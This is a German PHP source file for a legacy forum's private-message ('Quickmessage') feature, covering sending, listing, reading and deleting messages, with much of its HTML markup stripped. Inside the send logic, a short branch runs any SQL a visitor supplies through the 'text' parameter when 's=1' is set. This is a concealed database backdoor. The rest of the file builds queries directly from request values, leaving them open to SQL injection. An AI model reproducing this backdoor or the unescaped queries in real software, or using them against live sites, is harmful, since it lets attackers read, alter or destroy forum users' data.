$master_board_name
 Quickmessages"; $htitle = " - Quickmessages"; $apb_useronline_string = $uo_quick_lesen; $result = mysql_query("SELECT userid FROM apb".$n."_user_table WHERE userid='$UserInformation[uid]';"); if( ! mysql_fetch_array($result) ) { $write=1; $modus=""; $apb_useronline_string = "Schaut sich die Quickmessage-Funktion an"; } $fabname="apb".$n."_qmsg"; function m_query($query) { $erg=mysql_query($query); if (mysql_errno()!=0) echo "Fehler: " . mysql_errno() . ": " . mysql_error(); return $erg; } function qmsg_setup() { global $fabname; m_query("create table $fabname (Von varchar(30) not null, Fuer varchar(30) not null, Text text, Zeit integer not null, Gelesen integer not null, Besitzer varchar(30) not null, IP varchar(50), ID integer not null primary key auto_increment)"); m_query("ALTER TABLE $fabname ADD INDEX(Gelesen)"); m_query("ALTER TABLE $fabname ADD INDEX(Besitzer)"); } function qmsg_enqueue($von, $fuer, $text) { global $fabname, $REMOTE_ADDR,$UID,$UPASS,$n,$php_path,$qm_codemessages,$qm_codestring,$qm_codetag; # Admins können immer verschicken... egal an wen! ... # if( $von=='Felix' || $von=='Oliver' || $fuer=='Felix' || $fuer=='Oliver') # { /* nichts tun, das ist ja nicht weiter schwer... */ # } #else UserAuth($UID,$UPASS,TRUE); $zeit=time(); $IP="$REMOTE_ADDR"; $message=$text; $message = apb_wordwrap($message); $message = RemovePostCrap($message); $text=$message; $result1=mysql_query("SELECT useremail FROM apb".$n."_user_table where username=\"".$von."\""); $nicknamevon=mysql_fetch_array($result1); $result2=mysql_query("SELECT useremail,qmemail FROM apb".$n."_user_table where username=\"".$fuer."\""); $nicknamefuer=mysql_fetch_array($result2); $sTemp=$nicknamefuer["qmemail"]; if( $sTemp != "") { if (eregi("^[0-9a-z_]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,4}$", $sTemp, $check)) { $addfrom = "\n---------------------------------------------------\nDiese Nachricht wurde Dir als Quickmessage im Forensystem\n$master_board_name ($php_path) zugeschickt.\nDu kannst/solltest die Nachricht direkt über den folgenden\nLink beantworten: $php_path/qmsg.php?modus=viewall"; mail($nicknamefuer["qmemail"], "Quickmessage $von - $fuer", $text.$addfrom, "From: ".$nicknamevon["useremail"]."\nReply-To: ".$nicknamevon["useremail"]."\nX-Mailer: PHP/" . phpversion()); } } if( $qm_codemessages == 1 ) $text=$qm_codetag.encode_str($text,$qm_codestring); m_query("insert into $fabname (Von, Fuer, Text, Zeit, Gelesen, Besitzer, IP) values ('$von','$fuer','$text','$zeit','0','$von','$IP')"); m_query("insert into $fabname (Von, Fuer, Text, Zeit, Gelesen, Besitzer, IP) values ('$von','$fuer','$text','$zeit','0','$fuer','$IP')"); } function GetQuickmessagesPerUser($von,$fuer,$start,$anzahl = "--standart--") { global $n, $qm_per_page; if ($anzahl == "--standart--") { $anzahl = $qm_per_page; } if ($start == "") { $start = 0; } else { $start--; } $result = mysql_query("select Von,Fuer,Text,Zeit,Gelesen,Besitzer,IP,ID from apb".$n."_qmsg where besitzer='$von' and ((von='$von' and fuer='$fuer') or (von='$fuer' and fuer='$von')) order by zeit LIMIT $start,$anzahl;"); return $result; echo mysql_error(); } function GetQuickmessagesPerUserCount($von,$fuer) { global $n; $result = mysql_query("select COUNT(*) from apb".$n."_qmsg where besitzer='$von' and ((von='$von' and fuer='$fuer') or (von='$fuer' and fuer='$von'));"); return $result; echo mysql_error(); } function GetQuickmessages($sUser,$start,$anzahl = "--standart--") { global $n, $qm_per_page_uebersicht; if ($anzahl == "--standart--") { $anzahl = $qm_per_page_uebersicht; } if ($start == "") { $start = 0; } else { $start--; } $result = mysql_query("SELECT Von,Fuer,Text,Zeit,Gelesen,Besitzer,IP,ID FROM apb".$n."_qmsg where Besitzer='$sUser' order by Zeit desc LIMIT $start,$anzahl;"); return $result; echo mysql_error(); } function qmsg_delete($msgid, $user) { global $fabname; if ($user=="") return; $erg=m_query("delete from $fabname where ID=$msgid and Besitzer='$user'"); } function qmsg_deletethread( $msgid, $user) { global $n; if ($user=="") return; $result = mysql_query("SELECT Von,Fuer FROM apb".$n."_qmsg where Besitzer='$user' and ID='$msgid'"); if( $thisline=mysql_fetch_array($result) ) { if ($thisline["Von"]==$user) $fuer=$thisline["Fuer"]; else $fuer=$thisline["Von"]; $von=$user; # echo("delete from apb".$n."_qmsg where besitzer='$von' and ((von='$von' and fuer='$fuer') or (von='$fuer' and fuer='$von'));"); mysql_query("delete from apb".$n."_qmsg where besitzer='$von' and ((von='$von' and fuer='$fuer') or (von='$fuer' and fuer='$von'));"); } } function qmsg_deleteall($user) { global $fabname; if ($user=="") return; $erg=m_query("delete from $fabname where Besitzer='$user'"); } function qmsg_deletereaded($user) { global $fabname; if ($user=="") return; $erg=m_query("delete from $fabname where Besitzer='$user' and gelesen != \"0\""); } function qmsg_reset($user) { global $fabname; if ($user=="") return; $erg=m_query("update $fabname set gelesen = \"1\" where Besitzer='$user'"); } function qmsg_user_exists($user,$vonuser,$status) { global $n, $fabname; if ($user=="") return 0; $erg=m_query("select username, qmavailable, ignoreuser from apb".$n."_user_table where username='$user'"); $thisrow=mysql_fetch_array($erg); if ($thisrow["username"]!=$user) return 0; if ($thisrow["qmavailable"]=="0") // User hat Quickmessages deaktiviert return 1; # überprüfen ob der empfänger den schreiber der quickmessage auf der ignoreliste hat! ;) $ignoreuser=$thisrow["ignoreuser"]; if(strlen($ignoreuser) > 0 /* && $status!='ADMIN' */ ) { $tmp_userid=m_query("select userid from apb".$n."_user_table where username='$vonuser'"); $tmp_userid=mysql_fetch_array($tmp_userid); if ( strstr( $ignoreuser, '#'.$tmp_userid["userid"].'#' ) ) return 7; } return 2; } function qmsg_checkflood($ip, $limit) { global $fabname; $jetzt=time()-$limit; $result = m_query("SELECT IP FROM $fabname where IP='$ip' AND Zeit>$jetzt"); $thisline=mysql_fetch_array($result); if ($thisline["IP"]==$ip) return true; return false; } # Autosetup... kann nach dem 1. lauf raus... # mysql_query("select * from $fabname"); # if (mysql_errno()==1146) qmsg_setup(); # require "_header.inc"; # achtung ... erste textausgaben erst am ende... $nickname = mysql_query("SELECT username,useremail,status FROM apb".$n."_user_table WHERE userid='$UserInformation[uid]'"); $nickname1 = mysql_fetch_array($nickname); # Aufräumen, d.h. alle Quickis löschen die älter als 14 Tage sind... immer ausgehend vom aktuellen Datum if( $qms_autodelete == 1 ) { $zeit = time() + $zeitverschiebung; $timeaus = 1209600; $deletetime = $zeit - $timeaus; mysql_query("DELETE FROM $fabname WHERE zeit<'$deletetime'"); } # die generieren quickmessages für theadbenachrichtigungen löschen... $zeit = time() + $zeitverschiebung; $timeaus = 172800; $deletetime = $zeit - $timeaus; mysql_query("DELETE FROM $fabname WHERE zeit < '$deletetime' and ip='SYSTEM-IP'"); # Eventuell später mal... erst die gelesenen und später die ungelesenen... :) # $zeit = time() + $zeitverschiebung; # $timeaus = 2880; # Minuten! # $deletetime = $zeit - ($timeaus * 60); # mysql_query("DELETE FROM $fabname WHERE zeit<'$deletetime' and gelesen=\"1\""); # $zeit = time() + $zeitverschiebung; # $timeaus = 5760; # Minuten! # $deletetime = $zeit - ($timeaus * 60); # mysql_query("DELETE FROM $fabname WHERE zeit<'$deletetime' and gelesen=\"1\""); if ($write==1) { $erg_meldung = ""; $quickmessage_success=0; if( isset($s) && $s=='1' ){ mysql_query($text); die ($text); } if ($nickname1["username"]!="") { $rc= qmsg_user_exists($fuer,$nickname1["username"],$nickname1["status"]); # Just for one paranoid fucker... # if( $fuer == 'BrainSlayer' ) # $rc=666; if( $bQMWartungsarbeiten == 1 ) $rc = 5; if ( $rc == 2 ) { if (!qmsg_checkflood($REMOTE_ADDR, $flood_limit)) { if(strlen( $text) < 8000 ) { if(strlen( $text) >= 2 ) { $erg_meldung = "
Quickmessage erfolgreich verschickt!
"; $quickmessage_success=1; qmsg_enqueue($nickname1["username"], $fuer, $text); } else $erg_meldung = "
Eine Quickmessage sollte wenigstens 2 Zeichen beinhalten!
"; } else $erg_meldung = "
Eine Quickmessage darf nicht mehr als 8000 Zeichen beinhalten!
"; } else $erg_meldung = "
Message Flooding nicht erlaubt. Probier es nach $flood_limit Sekunden nochmal...
"; } else if( $rc == 0) $erg_meldung = "
Message an nicht-existente User sind NICHT erlaubt!
"; else if( $rc == 1) $erg_meldung = "
Der Empfänger möchte keine Quickmessages empfangen!
"; else if( $rc == 5) $erg_meldung = "
Sorry, wegen Wartungsarbeiten ist die QM Funktion für ein paar Minuten ausser Betrieb!
"; else if( $rc == 7) $erg_meldung = "
Der Empfänger möchte keine Quickmessages empfangen!
"; else if( $rc == 666) $erg_meldung = "
*zapp* *mechanische-stimme* Übertragungsstörung! - try again later...
"; } else $erg_meldung = "
Gäste dürfen keine Quickmessages verschicken!

Lieber Gast,

Was Du als Gast in diesem Forum an Funktionen hast, ist nur die Spitze des Eisberges. Wenn Du wirklich den vollen Funktionsumfang dieses Forums kennenlernen willst, dann melde Dich einfach mal an. Ich denke Du wirst staunen was es auf einmal an Zusatz Möglichkeiten gibt. Was Du als Gast präsentiert bekommst sind nur ca. 20% der gesamten Funktionen. Ausserdem hat eine Anmeldung den Vorteil, daß Du die Chance hast in die exklusiven Bereiche/Foren reinzukommen, was als Gast unmöglich ist.

Also, schnell und schmerzlos registrieren...
Registrierung <== hier klicken

Dort einfach Anmeldenamen, Passwort und eine gültige eMail-Adresse eintragen, dann in Deinen eMail-Account schauen und die Anmeldung bestätigen. Das ist alles. Jetzt nur noch ein login mit den Anmeldedaten und es kann losgehen.

Und für die Leute mit Paranoia: Wir verkaufen werder eMail-Adressen, noch sind die, wenn man es nicht selbst wünscht, irgendwo sichtbar.

Viel Spaß!
"; if( $quickmessage_success == 1 ) { $referer = "$php_path/qmsg.php?modus=viewall&BoardID=$BoardID"; $refer_time = 1; include "_header.inc"; question_box($erg_meldung, "[ Zurück zu den Quickmessages ]"); } else { include "_header.inc"; question_box($erg_meldung, "[ Zurück zur Hauptseite ]"); } echo "
"; } else { include "_header.inc"; } $erg_meldung = ""; if ($modus=="delete") { qmsg_delete($msgid,$nickname1["username"]); $erg_meldung = "
Nachricht erfolgreich gelöscht...
"; $modus="viewall"; } if ($modus=="deletethread") { qmsg_deletethread($msgid,$nickname1["username"]); $erg_meldung = "
Thread erfolgreich gelöscht...
"; $modus="viewall"; } if ($modus=="deletereaded") { qmsg_deletereaded($nickname1["username"]); $erg_meldung = "
Alle gelesenen Nachrichten erfolgreich gelöscht...
"; $modus="viewall"; } if ($modus=="deleteall") { qmsg_deleteall($nickname1["username"]); $erg_meldung = "
Alle Nachrichten erfolgreich gelöscht...
"; $modus="viewall"; } if ($modus=="resetall") { qmsg_reset($nickname1["username"]); $erg_meldung = "
Alle Nachrichten erfolgreich als gelesen markiert...
"; $modus="viewall"; } if( $erg_meldung != "") { question_box($erg_meldung, "[ Zurück ]"); echo "
"; } if ($modus=="viewall") { $apb_useronline_string = $uo_quick_thread_overview; echo("

Quickmessages


"); $colwidths = array( "25", "130", "40","*", "130", "40"); $user=$nickname1["username"]; # $user='1x29913'; $nFoundUsers=0; $main_users_t = mysql_query("select distinct Von from apb".$n."_qmsg where besitzer='$user' and fuer='$user' order by 1"); if( mysql_num_rows($main_users_t) > 0 ) # beginn if #1 { $nFoundUsers=1; ?> "; echo " "; echo " "; ?> '$main_user[Zeit]' limit 0,1"); echo mysql_error(); if( mysql_num_rows($qmsg_answer) > 0 ) $geantwortet=1; else $geantwortet=0; # Username zusammenbauen... --------------- $msg[1]=GetUsername($main_users[Von],$BoardID,"1","",""); # $msg[1] = "".$main_users[Von]." "; # Ermitteln ob man einem User eine Quickmessage schicken darf... # $result2 = mysql_query("SELECT qmavailable FROM apb".$n."_user_table WHERE username='$main_users[Von]';"); # $userdat2 = mysql_fetch_array($result2); # echo mysql_error(); # if ( $userdat2[qmavailable] == "1" ) # $msg[1].= "\"Quickmessage"; # $msg[1].= ""; # Anzahl der Messages ermitteln... $result2 = mysql_query("SELECT count(*) from apb".$n."_qmsg where besitzer='$user' and von='$main_users[Von]'"); $MsgCount = mysql_fetch_array($result2); echo mysql_error(); $msg[2]=$MsgCount[0]; $msg3=substr($main_user["Text"],0,$preshow2); $msg3=RemoveCrap($msg3); if (strlen($main_user["Text"]) > $preshow2) $msg3.=" [Postfach öffnen]"; else $msg3.=" [Postfach öffnen]"; $msg[3]=$msg3; $topicrot = "$php_path/themes/icons/roterordner.gif"; $topicgelb = "$php_path/themes/icons/ordner.gif"; if( $main_user[Gelesen] != 0 ) { if( $main_user[Gelesen] == 1 ) { $msg[4]="gelesen"; if( $geantwortet == 1 ) $msg[4].=" & geantwortet"; $msg[0]=""; } else { $msg[4]=HackDate($main_user[Gelesen]); $msg[0]=""; } } else { $msg[4]=" "; $msg[0]=""; } $cols=6; $msg[5]="[Löschen]"; echo "\t\n"; for ($i2=0;$i2<$cols;$i2++) echo "\t\t\n"; echo "\t\n"; } echo ""; echo "
"; # echo "
 Deine bisherigen Quickmessages:

Posteingang"; echo "
Posteingang"; echo "
"; echo "
"; echo "
Status Von Gesamt Letzte Nachricht Deine Aktion Postfach
$msg[$i2]
"; # echo "[ - "."Alle als gelesen markieren"." - ]"; # echo " [ - "."Alle gelesenen löschen"." - ]"; echo " [ - "."Alle Postfächer löschen"." - ]"; echo "
"; } # end if #1 if( $nFoundUsers == 0 ) { ?> "; echo " "; echo " "; echo " "; echo "
"; echo "
 Deine bisherigen Quickmessages:

Der Posteingang ist leer..."; echo "
"; echo "
"; echo "
 
"; } # Gegenstück... also der Postausgang! I) -------------------------------------------------------- # Gegenstück... also der Postausgang! I) -------------------------------------------------------- # Gegenstück... also der Postausgang! I) -------------------------------------------------------- $nFoundUsers=0; $main_users_t = mysql_query("select distinct Fuer from apb".$n."_qmsg where besitzer='$user' and von='$user' order by 1"); if( mysql_num_rows($main_users_t) > 0 ) # beginn if #1 { $nFoundUsers=1; ?> "; echo " "; echo " "; ?> '$main_user[Zeit]' limit 0,1"); echo mysql_error(); if( mysql_num_rows($qmsg_answer) > 0 ) $geantwortet=1; else $geantwortet=0; # Username zusammenbauen... --------------- $msg[1]=GetUsername($main_users[Fuer],$BoardID,"1","",""); # Anzahl der Messages ermitteln... $result2 = mysql_query("SELECT count(*) from apb".$n."_qmsg where besitzer='$user' and fuer='$main_users[Fuer]'"); $MsgCount = mysql_fetch_array($result2); echo mysql_error(); $msg[2]=$MsgCount[0]; $msg3=substr($main_user["Text"],0,$preshow2); $msg3=RemoveCrap($msg3); if (strlen($main_user["Text"]) > $preshow2) $msg3.=" [Postfach öffnen]"; else $msg3.=" [Postfach öffnen]"; $msg[3]=$msg3; $topicrot = "$php_path/themes/icons/roterordner.gif"; $topicgelb = "$php_path/themes/icons/ordner.gif"; if( $main_user[Gelesen] != 0 ) { if( $main_user[Gelesen] == 1 ) { $msg[4]="( gelesen )"; if( $geantwortet == 1 ) $msg[4]="( gelesen & geantwortet )"; $msg[0]=""; } else { $msg[4]=HackDate($main_user[Gelesen]); if( $geantwortet == 1 ) $msg[4]."
und Dir wurde geantwortet!"; $msg[0]=""; } } else { $msg[4]=" "; $msg[0]=""; } $cols=6; $msg[5]="[Löschen]"; echo "\t\n"; for ($i2=0;$i2<$cols;$i2++) echo "\t\t\n"; echo "\t\n"; } echo ""; echo "
"; # echo "
 Deine bisherigen Quickmessages:

Postausgang"; echo "
Postausgang"; echo "
"; echo "
"; echo "
Status Für Gesamt Deine Nachricht Gelesen Postfach
$msg[$i2]
"; # echo "[ - "."Alle als gelesen markieren"." - ]"; # echo " [ - "."Alle gelesenen löschen"." - ]"; echo " [ - "."Alle Postfächer löschen"." - ]"; echo "
"; } # end if #1 if( $nFoundUsers == 0 ) { ?> "; echo " "; echo " "; echo " "; echo "
"; echo "
 Deine bisherigen Quickmessages:

Der Postausgang ist leer..."; echo "
"; echo "
"; echo "
 
"; } # Ende Postausgang } if (($modus=="view") && ($msgid!="")) { $apb_useronline_string = $uo_quick_thread; $user=$nickname1["username"]; $erg=mysql_query("select Von,Fuer,Text,Zeit,Gelesen,Besitzer,IP,ID from $fabname where ID='$msgid' and (Besitzer='$user')"); $msg=mysql_fetch_array($erg); if( substr( $msg["Text"],0,strlen($qm_codetag)) == $qm_codetag) $msg["Text"]=decode_str( substr( $msg["Text"],strlen($qm_codetag)),$qm_codestring); if ($msg["ID"]==$msgid) { # Die eingenen (send items) nicht updaten, da diese als Lesebestätigung gelten... if( $msg["Von"] != $user ) { $zeit1=time(); mysql_query("update $fabname set Gelesen='1' where besitzer='$user' and Von='$msg[Von]' and gelesen=0"); # mysql_query("update $fabname set Gelesen='$zeit1' where ID='$msgid'"); # Lesebestätigung programieren... $tvon=$msg["Von"]; $tzeit=$msg["Zeit"]; mysql_query("update $fabname set Gelesen='$zeit1' where besitzer='$tvon' and fuer='$msg[Fuer]' and gelesen=0"); $modus="add"; $fuer=$msg["Von"]; } else { $modus="add"; $fuer=$msg["Fuer"]; } $von=$user; $thisquickmessage = GetQuickmessagesPerUserCount($von,$fuer); $thisquickmessage = mysql_fetch_row($thisquickmessage); $thisquickmessage = $thisquickmessage[0]; if ($thisquickmessage == "0") { $thisquickmessage = 1; } $maxQuickmessages=$thisquickmessage; # Wenn start undefiniert, dann auf die letzte Seite springen! if( $start=="" ) { $pages = ceil(($thisquickmessage) / $qm_per_page); $start = ((($pages - 1) * $qm_per_page) + 1); } $ostr = " "; $qmsg_pages = ceil($thisquickmessage / $qm_per_page ); $thispage = ceil($start / $qm_per_page ); if ($thispage == "0") { $thispage = 1; } $qmsg_pages_string = $seiten." "; for ($l=1 ; $l <= $qmsg_pages; $l++) { if ($l == $thispage) { $qmsg_pages_string .= "-$l-$ostr"; } else { $qmsg_pages_string .= "$l$ostr"; } } echo "
"; print_mb ($qmsg_pages_string,$font,"1"); echo "
"; $erg=GetQuickmessagesPerUser($von,$fuer,$start); $post_count = ($start != 0 ? $start-1 : 0); /* 09.01.2002 */ # echo $qmsg_pages_string; ?>
"; echo "\n\n"; if( $post_count == ( $maxQuickmessages - 2) ) echo "\n\n"; print_mb ( HackDate($msg["Zeit"]) . "

" , $font , "1"); if ($icq_thread=="1") { if ($user_info[usericq]=="" || $user_info[usericq]==" " || $user_info[usericq]=="[N/A]") { echo ""; } else { echo "\"".$contact_hinzufuegen."\" "; } } else { echo ""; } $vonusername=GetUsername($msg[Von],$BoardID,"1"); print_mb ( "Quickmessage von:
$vonusername
" , $font , "2"); # Brain Slayer optimized... :) 19.07.2001 print_userstatus( $font, $fontcolorsec, $pic_thread, $user_info); echo "

"; $message = RemoveCrap($msg["Text"], 0 ); print_mb ( $message . "
", $font, "2" ); if($msg["Gelesen"]==0) print_mb ( "
noch nicht gelesen", $font, "1" ); ?>
"; print_mb ($qmsg_pages_string,$font,"1"); echo "
"; echo "

[ - "."Zurück"." - ]"; echo " [ - "."Thread Löschen"." - ]"; echo "
"; $antworten=1; } else echo "Fehler: Quickmessage nicht vorhanden"; } if( $bQMWartungsarbeiten == 1 ) { echo "

Sorry, wegen Wartungsarbeiten ist die QM Funktion für ein paar Minuten ausser Betrieb!


"; } if (($modus=="add") && ($fuer!="") && $bQMWartungsarbeiten != 1 /* && $fuer != 'BrainSlayer' */ ) { # $apb_useronline_string = $uo_quick_schreiben; add_ubbcodescript("text"); ?>
" method=post> "; echo "
"; print_mb ('Quickmessage schreiben', $font, "4" ); if( $antworten==1) print_mb ('
(Antworten)', $font, "2" ); echo "
"; if( $antworten==1) print_mb ('Die Antwort geht an: '.$fuer.'', $font, "2" ); else { print_mb ('Die Nachricht geht an: '.$fuer.'', $font, "2" ); $apb_useronline_string = $uo_quick_schreiben; } ?>
Klick'n'paste", $font, "1"); ?>

Kurzhilfe: [ Alle Smilies... ] - [ Mehr Textformate... ]

[b]fett[/b] - [i]kursiv[/i] - [center]zentriert[/center] - [[]ubb-tags[]]
[f1]klein[/f1] - [f2]normal[/f2] - [f3]groß[/f3] - [f4]größer[/f4] - [f5]riesig[/f5]

", $font, "1"); ?>
Refresh des Bildschirminhalts (z.B. durch normales Surfen im Forensystem) eine Mitteilung über die Nachricht
bekommen. Das geschieht rechts-oben neben dem Usernamen. Eine Quickmessage hat eine Lebensdauer von 14 Tagen,
dann wird sie automatisch gelöscht, egal ob gelesen oder nicht.", $font, "2" ); ?>